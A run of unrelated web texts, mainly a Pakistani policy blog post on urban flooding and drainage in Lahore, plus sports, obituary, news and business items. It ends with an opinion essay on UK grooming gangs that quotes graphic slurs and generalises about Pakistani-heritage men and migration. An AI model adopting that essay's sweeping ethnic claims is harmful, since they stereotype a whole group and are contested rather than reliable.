text:
Flooded Cities: Managing Stormwater in Pakistan
By Bakhtiar Iqbal
This blog post is based on a session of the Lahore Policy Exchange held at the Consortium for Development Policy Research on Friday, 4th October with Ahmed Rafay Alam, Dr. Fozia Parveen, and Zahid Aziz.
Cities do not need to be located near large water bodies such as rivers, lakes, or the sea to be vulnerable to flooding. Rapid development and urbanization, often unplanned in developing countries, has resulted in pluvial flooding[1] in urban areas to become increasingly common all over the world. Urbanization creates city landscapes that are unable to absorb or otherwise manage rainfall. Subsequently, pluvial floods occur when an extreme rainfall event creates a flood independent of an overflowing water body, resulting in a situation where water flows into an urban region faster than it can be moved out. Urban flooding is more localized, has the potential to be more frequent, and is not as well understood as other forms of flooding.
The reasons for urban flooding are multiple and varied, particularly in developing countries. These include lack of rainwater storage and management systems, inadequate waste disposal mechanisms, institutional capacity, urban governance, and development which ignores topography. The problem is compounded by ageing and overburdened drainage networks, climate change, and the unhindered expansion of cities.
Many cities even in the developed world are now being forced to devise solutions to control and mitigate the effects of pluvial flooding. In the United Kingdom, pluvial flooding is regarded as a greater threat than both fluvial (river) and coastal flooding combined. This is partly because of the unpredictable nature of urban floods. There are no easily defined flood plains (the land surface adjacent to a water body) for urban areas as there are for rivers and seas, and the probability of flooding ultimately depends on how buildings and sewerage react to a sudden increase in water flows. However, one guiding principle that can help tackle urban flooding is that water will always flow to the lowest point.
Most recently, life in Pakistan's two largest cities[2], Lahore and Karachi, came to a virtual standstill as a result of flooding during the Monsoon season with significant loss of life, property, and economic activity. Lahore in particular has suffered from urban flooding for many years, and mitigation efforts have either not been made or have been sub-optimal.
Source: https://www.dawn.com/news/1494534
The solutions to urban flooding vary greatly by location as each city faces a unique set of challenges. Even within Pakistan, reasons for urban flooding vary across Karachi and Lahore. In July 2018, Lahore received up to 288 millimeters of rain and again this year, rainfall of up to 250 mm was recorded (in one month). This is in stark contrast to previous years when the highest amount of rainfall Lahore received was 177 millimeters in 2014 (see table below). In comparison, Karachi received rain up to 55 millimeters when it rained for five consecutive days in September. However, despite the vast difference in the amount of rainfall received, Karachi found itself much more ill-equipped for the subsequent flooding.
Source: WASA, Lahore
Before a discussion on the causes and solutions of urban flooding can begin, it is important to understand the impact of urban flooding and why it deserves our immediate attention.
The costs of urban flooding
Flooding in urban areas is capable of causing a great deal of destruction in a short period of time with the effects extending beyond flooded streets and diminished mobility. Unlike floods associated with rivers and seas, the visual impact of urban flooding is significantly lower, but the impacts on economic activity prove to be much more damaging in the long-run, even though the effects may not be immediately identifiable, and may be even more difficult to quantify. In a report published by the Center for Disaster Resilience at the University of Maryland and Center for Texas Beaches and Shores at Texas A&M University, the cost of urban flooding was identified as a series of effects on individuals and communities "such as loss of hourly wages for those unable to reach their workplaces; hours lost in traffic rerouting and traffic challenges; disruptions in local, regional, and national supply chains; or school closings with resultant impact on parents."
These effects are particularly damaging for those living in lower-income areas and have a disproportionately larger effect on the disadvantaged. They are also amplified in lower-income localities because of poor infrastructure and other urban services such as waste management. In Lahore, in particular, many low-income localities are "illegal developments", with a direct impact on the quality of public services available.
An accompanying feature of flooded cities is a breakdown in power supply for prolonged periods of time. This has a direct impact on citizen well-being, as well as relief efforts by the government. It is difficult to identify whether these breakdowns are caused directly by floods, or by weaknesses in the electricity transmission infrastructure. However, given the frequency with which breakdowns occur, with or without rain, all evidence points to the latter. Deaths due to electrocution further reinforce this point.
Finally, flooded cities also increase the stress on an already weak public health sector. Stagnant pools of water create the perfect breeding ground for waterborne diseases such as cholera and malaria-carrying mosquitoes. Dense urban localities with poor sanitation help spread diseases such as measles.
What causes urban flooding?
Development and Urban Sprawl
One of the largest contributing factors to urban flooding is a rapid increase in urbanization and built-up area within the city, with an associated increase in impermeable surfaces. The images below show the rate at which built-up area has increased in Lahore. Put together, between 2010 and 2017, Lahore lost more of its green cover than it did in the previous two decades.
Source: http://www.technologyreview.pk/lahore-is-losing-its-green-cover-fast/
It is not difficult to understand why these changes have taken place. Symptomatic of a poor urban planning process (and lack of depth in the profession), mega projects, such as signal-free corridors and a general expansion in the road network, were used by successive provincial governments for political mileage and to garner votes. One key failure of the process is the poor quality of Environmental Impact Assessment (EIA) reports prepared, which can be defined as "the systematic examination of unintended consequences of a development project or program, with the view to reduce or mitigate negative impacts and maximize on positive ones". Contrary to best practices, EIAs are largely considered formalities and are not used as planning tools in Pakistan.
An additional driver of the loss of green coverage is the increase in suburbia across the entire country. Gated housing societies have become the location of choice for many middle-to-high income households as a result of poor urban service delivery within city centers. These housing societies eat into the agricultural land surrounding the cities and leave little to no room for rainwater to get absorbed into the ground. Many also do not factor in stormwater drainage at the time of construction.
It cannot however be denied that Lahore's population has grown vastly in the past two decades. In 1998, Lahore's population stood at 5.14 million. According to the 2017 census, this number has increased to around 11.13 million. However, much of the increase in the built-up area has come about due to excessive suburban development, which caters primarily to higher-income segments.
These developments provide insights into the decision-making process of city management. Contrary to the direction most cities in the world are going in, city planning in Pakistan primarily serves the car owning elite at the expense of lower-income segments. While a signal-free corridor does make it easier to travel from one end of the city to the other, the impacts on citizen well-being, especially in lower-income segments, is ignored.
A further repercussion of an increase in built up area is the overall increase in surface temperature. According to one study published in the Pakistan Journal of Meteorology, between 2000 and 2011 the overall surface temperature of Lahore had increased by 0.73°C. This creates an urban heat island effect where monsoon winds are attracted towards high-temperature areas, potentially increasing the frequency of high-intensity rainfall events.
Weaknesses in drainage and waste disposal mechanisms
Lahore is served by eight main drains – Central, Lower Mall, Chota Ravi, Alfalah, Gulberg 1 and 2, Edward Road, Mian Mir and Gulshan-i-Ravi – and seventy-six tributary drains.
As can be seen in the image below, this network was built up in phases since Partition in 1947. The largest investment in the network came between 1971 and 1990 when 44.48 percent of the current network was built. The investments then declined over time with 31.76 percent of the network being built in 1991-2000, 14.51 percent in 2001-2008, and 3.33 percent in 2008-2018. (Source: WASA Lahore)
However, the drainage network has not kept pace with the rate of urban expansion. In many communities, the infrastructure is aging and undersized. In simpler terms, drainage networks are built with capacity limits and expiry dates. Many of the drains are nearing their expiry dates, and with an increase in commercialization and vertical building, the capacity of these drains is also being strained. This problem is compounded by an inability to maintain existing drains with resultant blockages in the entire network.
Blockages in turn are caused by three main reasons. The first is deposits of sediment in the drains due to surface water runoff. This decreases the carrying capacity of the drains leading to overflows and flooding. To address this issue, Lahore's Water and Sanitation Agency (WASA) took assistance from the Japan International Cooperation Agency (JICA) to clear the drains of sediments in 2004. However, no permanent solution to siltation has been implemented. The second reason for blockages is the use of these drains as waste disposal sites by residents. In the absence of proper waste disposal mechanisms, the banks of open drains are often used as dumping sites. There is also a behavioral aspect of citizens at play here who choose the convenience of using open drains for dumping domestic garbage. Finally, storm water drains are also connected with domestic sewers at various points. Together, these three factors constantly depress the carrying capacity of the entire network and ensure that cities like Lahore remain prone to flooding.
Reducing the risk of urban flooding
It is not possible to make cities completely flood-proof but they can be made flood resistant. Traditionally, policymakers considered floods as something that must be responded to (hence the extensive literature on disaster management). The contention here is that cities should be designed in such a way that makes the possibility of flooding as remote as possible.
One primary difficulty that city management in Pakistan faces is that our cities have largely been built. That is to say, poor planning, or lack thereof, has already resulted in cities that are very poorly built and managed. Any reform measures now, especially infrastructure upgradation, would need to take into account the disruption caused to daily life and economic activity, as well the sheer difficulty of intervening in an urban environment that is already in place. Storm water management, indeed sewerage in general, is no exception.
Like most other reform efforts in Pakistan, making our cities flood-resistant requires a series of reform measures, both in the short-term (what is called low-hanging fruit) and in the long-term. Some of these are possible within the current governance structure, others involve an overhaul of how our cities our managed.
Going by the causes of urban flooding outlined in the previous section, the easiest reform measure, and one that could be implemented in the shortest amount of time relatively speaking, is developing proper waste disposal mechanisms in all cities, especially in low-income localities, and thereby killing two birds with one stone. Domestic waste management is a key urban service, and one that cities like Karachi struggle with even today.
The second low-hanging fruit is empowering agencies such as WASA to regularly maintain the existing drainage network. This entails mobilizing considerable resources to provide the agencies with the equipment necessary to clear the drains of sediments and domestic waste. Maintenance would also involve separating the existing domestic waste and storm water networks. This too would require considerable resources, but is an objective that is achievable within the current system.
A third short-term achievable target is to leverage intelligent urban design to control the spread of floodwater. Many cities are now using innovative concepts such as water squares to divert flood water into lower-lying areas. WASA Lahore has plans to build one such water square at Lawrence Gardens to divert floodwater from the converging point of three low-level roads. Moreover, at an individual or household level, houses are being designed to harvest rainwater to be used later on. Incorporating rainwater harvesting units in houses would considerably lessen the strain on the drainage network.
One of the more difficult challenges, and one that would require a long-term strategy is to control the expansion of cities, spread the urbanization over a larger number of cities, and ensure that the environmental impacts of cities are not ignored. Cities such as Lahore, Karachi, and Peshawar attract people from all over Pakistan, a factor which strains urban service delivery. Having multiple urban centers would make it easier to manage the cities, and drive economic growth as well. This would also entail revamping governance structure to allow decisions which impact cities to be taken at the city level. If the city is affected by floods, then the city should be responsible for developing system to tackle flooding. Consequently, the city must also then be allowed to raise the revenues required to develop those systems.
The monsoon rains and the accompanied flooding are not necessarily an evil that must be defeated. Rainfall is a central feature of our ecosystem and our urban planning and design needs to develop ways in which we can co-exist with nature in a harmonious manner.
[1] In this article, pluvial flooding and urban flooding are used interchangeably.
[2] For reasons of simplicity and data availability, this article focuses primarily on Karachi and Pakistan as examples. However, the causes and solutions will largely be the same for most Pakistani cities.
Bakhtiar Iqbal is a Research Assistant at the Consortium for Development Policy Research (CDPR) with an interest in urban planning.
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Nizam says:
Prof.Engr.Khalid Omar says:
An informative blog.Since Mr. Shahid Aziz (M.D., WASA, Lahore) is contributor to this report, we expect that WASA will QUICKLY solve the problems at existing Seweage network of Lahore.One of the main causes of urban flooding in Moon Soon Rains is that Main Sewer Lines are PRACTICALLY not cleaned properly.I can challenge that bricks and stones remain present in the lines..Secondly, the Pumping Stations Pumps' capacity/working is not proportional to the required rain water disposal rate..hence, flooding…..Moreover, WASA must follow up with City District Admn to remove encroachments on Drains and follow up PHA to keep level of their green belts LESS than adjoining Roads.
Prof.Engr. Khalid Omar. Lahore


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NCAA: Marist men's basketball team not taking Mason, Niagara for granted in MAAC opener
Sean T. McMann
The Marist College men's basketball team will open the Metro Atlantic Athletic Conference tournament tonight against the lowest-seeded team, Niagara, the 11th seed.
But any team that has a scorer like Antoine Mason, Red Foxes coach Jeff Bower said, will be a challenge for his sixth-seeded Red Foxes.
The son of former New York Knicks forward Anthony Mason, Antoine Mason, a redshirt junior guard, enters the tournament as the second-leading scorer in the country, pouring in 25.2 points a game.
"Any team that has the potential of Antoine Mason makes it difficult and puts them in position to be successful," said Marist's first-year head coach, who spent more than a decade in the NBA in several roles, including head coach of the New Orleans Hornets. "And in close games down the stretch, he can always make the big bucket or make the big play that creates the bucket that gives them the chance. So you have to worry about that."
In their two meetings in the regular season — each team won on its home floor — Mason was held below his average. He scored 22 points on 6-of-18 shooting in a six-point victory in January, and 18 points on 8-of-23 shooting in a 14-point February loss.
No other Purple Eagle averages more than 9.5 points a game, but Niagara averages 75 points a game in conference play — that ranks fifth in the MAAC — while Marist average 68.1 points a game, ranking ninth.
"I think their other players, though, have been successful as well," Bower said. "That's always a concern."
As is the way the Red Foxes have played in recent weeks.
Aware Marist won six of its last 10 games — the four losses all came by single digits — Niagara head coach Chris Casey said the Red Foxes have turned up their game as of late, capping the regular season with a 103-72 blowout of Quinnipiac on Sunday.
"If you look at their numbers over the last four or five games, they're really shooting the ball well," the coach said about Marist, which sank 53.5 percent of its shots against Quinnipiac. "They're getting contributions from everybody, offensively. We're going to have to do a good job of limiting what they can do, offensively."
Redshirt freshman guard Khallid Hart earned both a league-best seventh Rookie of the Week and an All-Rookie Team honor from the MAAC on Monday, thanks in part to averaging 14.6 points a game. Junior wing Chavaughn Lewis (17.3 points per game), senior forward Jay Bowie (12.3) and senior center Kemp (10.0 points per game, team-best 7.6 rebounds per game) round out Marist's offense.
In the victory against the Bobcats, the Red Foxes made 52.6 percent of their shots from beyond the 3-point arc, going 10 for 19.
Those marks were enough to grab Casey's attention and force Niagara to focus on tightening up its defensive effort in preparation for Marist, the coach said.
"It's going to be important that we limit their looks and limit their opportunities in transition," he said.
Sean T. McMann: smcmann@poughkeepsiejournal.com;
Twitter: @journalsean
No. 6 Marist vs. No. 11 Niagara
What: MAAC tournament men's first round
When: Tonight, 9
Where: MassMutual Center, Springfield, Mass.
Radio: WKIP (1450 AM)
On the Web: www.goredfoxes.com
Live updates: Follow @JournalSean throughout the MAAC tournament for Marist basketball updates and insights live from courtside

redpajama_set_name: RedPajamaCommonCrawl


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University of Iowa Men's Basketball - 2023 Day Camp
Monday, June 12, 2023 - Thursday, June 15, 2023 9:00AM-4:00PM
Iowa Field House
06/12/23 7:30am - Iowa Field House
Ends Monday, June 12, 2023 08:30 AM
$330.00 per camper (includes lunch)
Every camper receives individual coaching and has the opportunity to meet and talk with outstanding coaches and players.
Iowa Head Basketball Coach Fran McCaffery and his staff oversee all aspects of the camp.
Campers receive a NIKE Iowa Basketball t-shirt and Nike basketball.
Current and former student-athletes will act as camp counselors.
Instruction and demonstrations from current and former Iowa players.
Team and individual awards.
Campers are placed on teams to promote balanced league play according to age and ability.
The BIG TEN best Iowa athletic training staff is present for all sessions.
Camp starts at 9 AM and ends at 4 PM each day
Open to any and all participants ages 6 to 12.


The Savanna Hawk is widespread raptor of open country habitats throughout the lowlands of tropical and subtropical South America. Like other members of the genus Buteogallus, the Savanna Hawk has a broad diet, and consumes a wide range of prey including small mammals, birds, crabs, frogs, toads, lizards, snakes and large insects. Its foraging strategy is equally diverse, and it will capture prey on the wing, from perches, or even by stalking on foot. Savanna Hawks can often be found walking through burning fields, a few feet behind the flames, searching for toasted prey. It is also the most distinctive member of Buteogallus: the plumage of other species predominately is black, but the plumage of the Savanna Hawk is a crisp cinnamon overall, with considerable gray patterning overlaying a rufous body.


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Shirley Ann Kronschnabel was born on September 28, 1936 in Brainerd, Minnesota to Julia Bryant. She grew up in Jenkins, Minnesota; the youngest of eleven children.
Shirley married her loving husband, Leo Kronschnabel on October 9, 1954. They were blessed with five children. Shirley was a proud grandmother to her nine grandchildren and was even more blessed with nine great grandchildren. She loved her grand and great grandchildren and no one ever left Grandma's house hungry because she cooked like she was feeding an army. She enjoyed spending time with her many family and friends and made everyone feel welcome in her home.
As a devoted catholic, Shirley was called home to our Lord on Monday, June 1, 2015. She has now joined her mother and seven of her sibling in death.
Shirley is survived by her husband Leo, sisters; Donna White, Francis Estler, and Betty Sweeny; children, Julie, Rose, Ron, Ken, and Traci; 9 grandchildren and 9 great grandchildren; many nieces, nephews, other relatives and friends.
You will be missed dearly. Not only were you my Grandma, but you were someone that I looked up to. I've learned so much from you over the years. The most important thing that I learned is to surround yourself with people who love you and to be selfless to those people. I was lucky enough to see this not only throughout your life, but even during the last days of your life. I will always keep my promise to you that I made all those years ago to never smoke a cigarette a day in my life. You have made me into the person that I am today. I absolutely love playing board games like Sorry and card games like Skip-Bo. I remember spending the weekends at your house and almost literally playing games all day long. Only to take breaks to eat lunch or start making dinner. Playing games and munching on Life Savors are my most favorite memories. I am glad I was able to visit you almost everyday that you were in the hospital. It made me feel like we were bringing home and love to you there. I Love you so very much Grandma. Forever and always, Jennifer Kronschnabel.
Shirley, You were like a daughter to Ralph and I. I can remember you hiding behind grandma Bryant's couch when we would come and mom. I will miss our telephone calls and the letters you wrote to me. Love you and miss you your sister Franny.


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Prof. (Dr.) S. P. Tewari (October 1926 - May 2020): A legendary anatomist and teacher
Vishram Singh
Department of Anatomy, Kasturba Medical College, Mangalore, MAHE, Manipal, Karnataka, India
Date of Submission 31-May-2021
Date of Acceptance 01-Jun-2021
Date of Web Publication 30-Jun-2021
Prof. Vishram Singh
OC-5/103, 1st Floor, Orange County Society, Ahinsa Khand-I, Indirapuram, Ghaziabad, Delhi-NCR - 201 014, Uttar Pradesh
Singh V. Prof. (Dr.) S. P. Tewari (October 1926 - May 2020): A legendary anatomist and teacher. J Anat Soc India 2021;70:119-20
Singh V. Prof. (Dr.) S. P. Tewari (October 1926 - May 2020): A legendary anatomist and teacher. J Anat Soc India [serial online] 2021 [cited 2023 Jan 27];70:119-20. Available from: https://www.jasi.org.in/text.asp?2021/70/2/119/320288
We hereby pay our homage to the departed soul of Prof. (Dr.) S. P. Tewari who left us on May 17, 2020 at the age of 94 years, The anatomical fraternity was deeply saddened to hear the news of the passing away of Prof. (Dr.) S. P. Tewari, former Head of the Department of Anatomy, GSVM Medical College, Kanpur (UP). The loss is on twin counts, on the professional level as academician and teacher and as an excellent human being. Professor S P Tewari was born on October 01, 1926, in Lucknow (UP) and he did his premedical schooling from Lucknow. He did his MBBS from K G Medical College, Lucknow, and then, he joined state PMS services. His illustrious academic career began with the completion of MS (Anatomy) from K G Medical College, Lucknow, in the year 1961. After that, he joined as a lecturer in the Anatomy Department at BHU (Varanasi) and worked till 1966, then he joined in the Anatomy Department at GSVM Medical College, Kanpur, and worked till 1986, till his retirement as Professor and Head.
From the very beginning of his career as Faculty in Varanasi, he took interest in teaching and research. Known as a very caring, loving, and disciplined teacher to his undergraduate and postgraduate students, across the spectrum, he had two very different approaches in dealing with the students. At the undergraduate level, he would very much teach the basics of anatomy to the students, while he would look in depth in assessing the finer points at the postgraduate level. He had a special interest in Head and Neck anatomy and Cytogenetics. He was instrumental in establishing the cytogenetics laboratory in the Anatomy Department of GSVM Medical College, Kanpur (UP). He has many research papers in reputed national and international journals. He was an examiner in various medical colleges. Post retirement, he practiced as an infertility specialist in Kanpur till his demise and earned a good name in the society, offering patients the best medical care possible. Thanks to his concerned teaching as an academician and the care he provided as a fine human being to his students, spanning generations, they are spread across the globe, many of whom are professors and head of departments in various medical colleges. A huge chunk of our academic credentials goes in honor of this great teacher and a beloved human being. For all the students, his untimely departure will leave a huge vacuum in this field which is difficult to be filled in, in times to come.
He was known for the following characteristics: (a) He was a stickler for time, be it professional or personal. He firmly believed the age old saying that time and tide wait for no man. One should always be punctual. (b) He was a very disciplined man and was of the rock-solid opinion that inculcation of this practice coupled with hard work is the foundation for the development of life and there is no looking back once a person adopts this path. (c) He believed in divine saying that health is wealth. He was very health conscious, in tune of keeping which he was an ardent practitioner of meditation and yoga for over six decades. He would often mention that man should treat his body like a temple, if a person is able to take care of his health well, then, he can handle the other aspects seamlessly. One of the basic reasons of his excellent health was that he has a helping attitude toward everybody. He was a strict vegetarian. (d) He always maintained the highest standard of medical education and discipline in medical curriculum. (e) He was also financially helpful to economically weaker students but was very particular in maintaining his incognito status, of not making his presence felt. He believed that if a student comes to know the source that Professor Tewari has been behind the help, then, that would give rise to attachment. He was always detached from the result while only believing in the performance of karma.
At this juncture, may I remind all the colleagues that, while we all are saddened with the grief, but the occasion is more than apt for us to take the pledge to commit ourselves to raise the bar of medical education in India, to carry forward the legacy of Prof. S P Tewari.
He left behind his wife, a son Dr Satyendra Tewari who is a cardiologist (SGPGI Lucknow), and a daughter. I offer my heartfelt condolences to his family and pray god to give peace to his departed soul.
1 Determining sex with the clavicle in a contemporary Spanish reference collection: A study on 3D images
Elena Ruiz Mediavilla, Bernardo Perea Pérez, Elena Labajo González, José Antonio Sánchez Sánchez, Enrique Dorado Fernández, Andrés Santiago Sáez
Forensic Science International. 2016; 261: 163.e1
Singh V


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text:
School of Computer Science /
Taucer, A.H. (Armando H.), Polk, S. (Spencer) and J. Oommen (B. John)
On addressing the challenges of complex stochastic games using "representative" moves
The problem of achieving competitive game play in a board game, against an intelligent opponent, is a well-known and studied field of Artificial Intelligence (AI). This area of research has seen major breakthroughs in recent years, particularly in the game of Go. However, popular hobby board games, and particularly Trading Card Games, have unique qualities that make them very challenging to existing game playing techniques, partly due to enormous branching factors. This remains a largely unexamined domain and is the arena we operate in. To attempt to tackle some of these daunting requirements, we introduce the novel concept of "Representative" Moves (RMs). Rather than examine the complete list of available moves at a given node, we rather propose the strategy of considering only a subset of moves that are determined to be representative of the player's strategic options. We demonstrate that in the context of a simplified Trading Card Game, the use of RMs leads to a greatly improved search speed and an extremely limited branching factor. This permits the AI player to play more intelligently than the same algorithm that does not employ them.
Persistent URL doi.org/10.1007/978-3-319-92007-8_1
Series IFIP Advances in Information and Communication Technology
Organisation School of Computer Science
Taucer, A.H. (Armando H.), Polk, S. (Spencer), & Oommen, J. (2018). On addressing the challenges of complex stochastic games using "representative" moves. In IFIP Advances in Information and Communication Technology. doi:10.1007/978-3-319-92007-8_1


text:
The Latest: Dutch police considering terrorism in shooting
Emergency services attend the scene of a shooting in Utrecht, Netherlands, Monday March 18, 2019. Police in the central Dutch city of Utrecht say on Twitter that "multiple" people have been injured as a result of a shooting in a tram in a residential neighborhood. (Martijn van der Zande via AP)
THE HAGUE, Netherlands (AP) — The Latest on a shooting in a tram in the Netherlands (all times local):
Police in the central Dutch city of Utrecht say they are investigating a shooting in a tram that left "multiple" people injured and are considering the possibility of a "terrorist motive."
Police, including heavily armed officers, flooded the area after the shooting that happened Monday morning on a tram at a busy traffic intersection.
Dutch Prime Minister Mark Rutte called the situation "very worrying" and the country's counterterror coordinator said in a tweet that a crisis team was meeting to discuss the situation.
There have been no reports yet of any suspects arrested.
Police in the central Dutch city of Utrecht say on Twitter that "multiple" people have been injured as a result of a shooting in a tram in a residential neighborhood.
Utrecht police say that trauma helicopters were sent to the scene Monday and they are appealing to the public to stay away to allow first responders to do their work.
Further details were not immediately available.


Scots sausage skin maker Devro is experiencing profitable growth in most its major markets and that it remains on track to deliver 2010 earnings in line with management expectations.
Despite a slowdown in demand compared to the first-half, sales are on the rise in developing countries, with all except China having shown strong growth.
Manufacturing performance is also showing improvement, with better yields and line speeds which has boosted margins along with a year-on-year increase in average prices, which continue to show a positive trend.
Despite a slowdown in demand compared to the first half, sales of the Moodiesburn-based firms collagen products for the food industry in developing markets have increased strongly.
Capital expenditure for the full year is now expected to reach about s30 million as the company announced further investments in manufacturing capacity across all of its sites to take advantage of the growing international demand for its products.
Devro also reported it has reached agreement with its employees and pensioners to reduce its pension liabilities by s19 million, or 8 per cent of its gross total as at 30 June. This follows a period of consultation with staff and pensioners to limit future exposure to pension increases.
The company will report its results for the year the calendar year 2010 to the Stock Market in February 2011.


A hattrick of piling contracts worth a total of £9 million has been won by Kvaerner Construction's Hong Kong-based company, Gammon Construction.
Two are with Gammon's long-term associate, the Hong Kong Housing Authority, which it is currently working with on ten contracts with a total value of £400 million. Both are for the Tseung Kwan O development in the New Territories.
The largest, worth £4.2 million (HK$ 52.9m), is for the design and construction of foundations for three 41-storey blocks, one 36-storey block, an eight-storey secondary school, a four-storey viewing tower, a pedestrian footbridge and a series of tower screen walls and car parks.
A similar £3.4 million (HK$43.5m) scheme is for the design and construction of foundations for two 41-storey blocks, one eight-storey secondary school, a four-storey viewing tower, a pedestrian footbridge as well as a series of screen walls and car parks.
In a third £1.4 million (HK$18m) job, Gammon is constructing the foundations of the Kowloon Canton Railway Corporation's eight-storey headquarters. Working for a Sun Fook Kong joint venture in the New Territories, Gammon is due to complete the project by the end of the summer.


The Basingstoke Extra is a weekly freesheet tabloid newspaper delivered to households in the town of Basingstoke in north-eastern Hampshire.
It was founded in 1980 under the title Gazette Extra , as a companion to the weekly paid-for tabloid the Basingstoke Gazette . It was renamed the Basingstoke Gazette Extra in 1981. Three name changes in successive years from 1999 saw it become first The Extra: For Basingstoke and North Hampshire and then The Gazette Extra: For Basingstoke and North Hampshire , before settling on its present title in 2001.
It's published by Newsquest (Southern). It shares the Gazette 's website and editorial offices (in Basingstoke).


AppeTEETHERSare patented teething toys made of silicone. Designed with safety as the highest priority, AppeTEETHERSare Consumer Product Safety Commission compliant. They provide the perfect amount of resistance to help soothe babies sore gums.


Over the past few months. Bruce Jenner and the rumours of his decision to transition from male to female have featured regularly across media outlets throughout the world.
Photos of him sporting long hair and wearing nail polish have been splashed on magazines, and he reportedly underwent surgery last year to diminish the appearance of his Adam's apple. Numerous family members have eluded to the fact that Bruce is undergoing some sort of change.
Speaking of her stepfather, Kim Kardashian West stated: ''I think Bruce is very happy, the happiest I've ever seen him...He's our dad so we support him no matter what, and I think when the time is right, he'll talk about whatever he wants to talk about. I guess I'll kind of let everyone be curious and I feel like that's his journey to talk about.
''Well we support Bruce no matter what, so we were just at his house hanging out and we wanted to take a picture, that was not like a secret message like, 'We support Bruce'. Of course we support Bruce 100 percent.
"It was brief and I said I was proud of him and that I'll always love him.
"I never thought I could be more proud of Bruce when he reached his goal in 1976, but I'm more proud of him now. It takes a lot of courage to do what he's doing."
One person who has notably not commented on the rumours yet is Bruce himself. It has been reported he will sit down with Diane Sawyer in the coming months and to discuss the matter.


text:
White Girls' Sacrifice
By Poppy Coburn	— 1 month ago
Grooming Gangs: A State within the UK State
In 2017, the BBC premiered a three-part mini-series entitled Three Girls. The program was centred around the Rochdale grooming gangs, dramatising the abuse and subsequent court case from the perspective of three underage victims. Perhaps even more harrowing than the depiction of sexual violence was the institutional unwillingness of the police and the local council to grapple with the scale of the organised child abuse.
The drama was showered in accolades: the three young actresses portrayed the agony of the abused children with skill and sensitivity, and the decision to show on-screen sexually violent acts hammered home the horror of the Rochdale scandal. I found myself both horrified and relieved — horrified that such a miscarriage of justice had been allowed to happen, yet relieved that the national attention the incidents had received would prevent such repugnant crimes from happening again.
The premiere of Three Girls was not, however, the first time the grooming gang scandals had reached national attention. Warnings from MPs, meticulously detailed enquiries and front-page media stories had already done the job years prior. For the inhabitants of communities such as Rochdale, the abuse was no surprise: after all, they had seen their daughters, sisters, and friends trapped in the cycle of organised abuse dating back decades.
Grooming cases all across Britain shared remarkable similarities. The victims were young girls, some as young as eight years old. They were working-class, white, typically living in deprived areas. Children placed in care homes were particularly vulnerable, as were girls with cognitive disorders. They had been befriended by older men, plied with food, alcohol and drugs, and showered with the affection and kindness they so often lacked in their personal lives. The children were then informed that they had incurred a 'debt', and informed that they must pay it back with their bodies. The men would then rape and prostitute the children for financial gain, ferrying the victims from city to city within their own taxi network. If the girls attempted to leave or inform the police, they were threatened and beaten. The men in question were almost universally of Pakistani heritage.
The latest allegations, based within the city of Hull, are no less horrifying for their commonality: children aged thirteen gang-raped in squalid flats, trapped in the cycle of abuse via threats of murder against themselves and their families. Young girls having their abuse filmed and distributed, with the 'pornography' bearing titles such as "white slag fucked against her will." There are no special programs for these girls, no smiling photo-ops with politicians or top City internships. There is no day of remembrance for the girls of Rotherham, Hull, Teeside, Bradford and Oxford. In the eyes of the establishment, and in the eyes of their rapists, they remain 'white slags'.
The white underclass of Britain occupies a liminal space in British politics; at once a backward, lumpen-prole shrinking voting bloc and a useful testing ground for radical political maneuverings. Adrian Pabst, author of Post-Liberal Politics and darling of the credentialed Right, asserts that the white working class no longer exists as a coherent bloc: slum-busting, de-industrialisation and community fracture have all dramatically altered the political fortunes of this subsection of British society. The new working-class Britain is a vibrant one, a multi-cultural, multi-ethnic smorgasbord united under a new banner of prosperity. The eleven-year Conservative premiership has championed this vision far more effectively than any left-wing party could, spinning tall tales of a 'Northern Powerhouse' and the 'Levelling Up' of deprived communities. It is understandable, then, that this bright vision of a cooperative future would be threatened by 'upsets' such as the Hull victims.
A cursory examination of the ongoing grooming gang abuses paints a very different vision of Britain. Ethnic tensions have not disappeared under the shining light of the end-of-history, instead festering under the twin pressures of cultural barriers and a reluctance to integrate. The undoubtedly impressive funding allocations provided to deprived communities have had little effect on the catastrophic levels of violent crime. And the white working class, rather than joining arms and marching towards Britain's progressive future, slip out of society altogether. As writer and trade unionist Paul Embery put it, this group has a distinct feeling that they are despised by the establishment.
There were some, of course, who have been raising the alarm about abuses for years. Whistleblowers such as Maggie Oliver, a former detective constable in the Manchester police force, risked their careers and reputation in order to pursue the truth. She joined Operation Augusta in 2004, formed following the death of fifteen-year-old Victoria Agoglia who overdosed after her fifty-year-old rapist injected her with heroin (the rapist was subsequently cleared of manslaughter charges). Oliver became increasingly convinced that social workers were blocking the family members of victims from investigations in order to 'cover their own backs.' The official investigation named 96 perpetrators, of which just three were taken to court. One of the three men was an illegal immigrant, and it is unclear whether or not he was deported from the country.
The level of institutional contempt for rape gang victims is laid bare through pages and pages of clinically official police reports and investigations. A thirteen-year-old child raped by the gangs had undergone a termination, and the fetal tissue was kept in police storage for years without her permission. The girl's sister, a fifteen-year-old 'procurer' for the Pakistani perpetrators, was branded a prostitute by the police. When Maggie attempted to reopen the cases of the two sisters, she claims a senior officer told her to "calm down." "Listen, what would these kids ever contribute to society? They should have been drowned at birth."
The vast majority of rape gangs operated within Labour-run districts. These de-industrialised zones had undergone rapid demographic change from the 1990s onwards, and made little attempt to culturally integrate new citizens. Politicians became reliant on a shaky coalition of interests, between their classic white working-class base and religiously devout south Asian migrants. The legacy of the Bradford race riots made administrators anxious to be seen as promoting racial harmony, and found themselves pressured by white nationalist groups rapidly gaining in popularity.
Rape gangs were not a consequence of Western sexual libertarianism, or a lack of police resources — or even concerns over 'political correctness'. They are a consequence of forced social engineering; a predictable outcome of rapid demographic change, cultural alienation and community breakdown. If unrestrained migration continues at a breakneck pace, integration becomes impossible. Gang members show no remorse for the lives they have ruined, because they don't value the lives of their victims at all. They do not see mass child rape as an evil act, at least not when it is done against English 'slags'. Just as Bengali women raped en mass by Pakistani soldiers in the Bangladeshi war of independence were targeted for their perceived sexual licentiousness, so too are the girls of countless English towns relegated to subhuman status.
While it is difficult to obtain data on the ethnic makeup of child sexual abusers, we do know that the majority of perpetrators are white. Without a proper breakdown of proportionality, however, this isn't particularly enlightening: England is a majority white country, after all. Arguments put forward by researchers such as Dr. Ella Cockbain are disingenuous. Asians are not being scapegoated or unfairly maligned in coordinated CSA cases and to suggest otherwise obscures the ethnic dimension behind this form of abuse. Cockbain implies that white men are overrepresented in child sexual abuse cases, but the balance of evidence suggests that the opposite. A 2016 Police Foundation report examining child sexual abuse in Bristol found that those from ethnic minority backgrounds were over-represented compared to the local area.
